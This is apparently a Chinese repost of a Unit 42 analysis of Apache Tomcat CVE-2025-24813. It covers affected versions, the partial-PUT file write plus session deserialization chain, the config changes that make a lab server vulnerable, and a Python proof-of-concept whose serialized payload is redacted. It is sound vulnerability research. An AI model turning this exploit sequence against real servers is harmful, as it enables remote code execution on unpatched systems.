不赶趟的 tomcat:CVE-2025-24813漏洞验证

不赶趟的 tomcat:CVE-2025-24813漏洞验证

独眼情报 2025-03-15 15:55

不赶趟的CVE-2025-24813漏洞验证

作者

  • Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng

参考资料

  • https://www.linkedin.com/posts/unit42_we-have-tested-cve-2025-24813-under-specific-activity-7306384143167168512-7-uj/

  • https://x.com/Unit42_Intel/status/1900618521303740709

原始参考资料

  • https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24813

  • https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html

受影响版本

  • Apache Tomcat 11.0.0-M1 至 11.0.2

  • Apache Tomcat 10.1.0-M1 至 10.1.34

  • Apache Tomcat 9.0.0.M1 至 9.0.98

说明

CVE-2025-24813 是最近公布的 Apache Tomcat 漏洞。Apache 是一个开源的网络服务器平台,而 Tomcat 是允许 Apache 网络服务器运行 Java servlets 的软件。

利用此漏洞包括两个步骤:
1. 任意文件写入

  1. 不安全的反序列化

任意文件写入

当 Tomcat 中启用会话持久性时,服务器将在关闭前序列化所有活动用户会话。重新启动时,Tomcat 将反序列化这些会话,允许用户会话保持活动状态,而用户不会察觉服务器重新启动。

然而,如果在 Tomcat 中启用了 HTTP PUT 方法,通过 HTTP PUT 请求上传的文件可能会被缓存在存储序列化会话数据的同一目录中。在易受攻击的网络服务器上,攻击者可能能够将恶意文件保存到序列化会话数据目录。

不安全的反序列化

将恶意文件保存到序列化会话数据目录后,攻击者可以使用精心制作的 cookie 来”唤醒”会话。这可能会触发 Tomcat 反序列化恶意构造的会话文件,从而通过与 CVE-2025-24813 相关的反序列化漏洞进行利用。

测试漏洞利用

我们成功地在运行过时版本 Tomcat 和过时版本 Java 的 Apache 网络服务器上测试了 CVE-2025-24813 的漏洞利用。部分信息已经发布在 
Lingua Diabolis

注意:以下所有 URL 均已去毒。

测试环境

  • Ubuntu 24 Server

  • Apache-Tomcat 9.0.90

  • hxxps[:]//archive.apache[.]org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip

  • Java 8.0.442-zulu

  • 一些依赖项

  • hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar

  • htxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar

建立易受攻击的 Tomcat 配置

  1. 启用 PUT

编辑 tomcat/conf/web.xml
 在 default
 servlet 名称部分下添加 readonly
 参数并将其设置为 false
。示例如下,代码的末尾处。

    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

  1. 启用会话持久性

编辑 /tomcat/conf/content.xml
 并添加以下设置。

    <Manager className="org.apache.catalina.session.PersistentManager">
      <Store className="org.apache.catalina.session.FileStore" />
    </Manager>

  1. 使用以下命令,在 /tomcat/webapps/ROOT/WEB-INF/lib
     创建一个目录,并在其中放置两个过时的依赖项。
mkdir ./tomcat/webapps/ROOT/WEB-INF/lib && cd ./tomcat/webapps/ROOT/WEB-INF/lib
wget hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
wget hxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar

漏洞利用

我们使用 
Java Chains
 创建了一个特制的会话文件,并将其发送到临时易受攻击的运行 Apache Tomcat 的网络服务器 www.wiresharkworkshop[.]online
。以下是用于此目的的 Python 脚本示例。恶意会话文件名为 gopan.session
,但可以更改为任何名称。

import requests
import base64
import os

TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"

# b64_encoded_payload = "****[information redacted]****"

output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)

with open(output_file_path, "wb") as f:
    f.write(decoded_content)

put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}

with open(output_file_path, "rb") as f:
    put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)

get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)

文章原文:https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md

其他大佬的视频讲解:https://www.bilibili.com/video/BV14dQjYcEc5/

其他大佬的视频讲解:https://www.bilibili.com/video/BV1e7QPYBEBU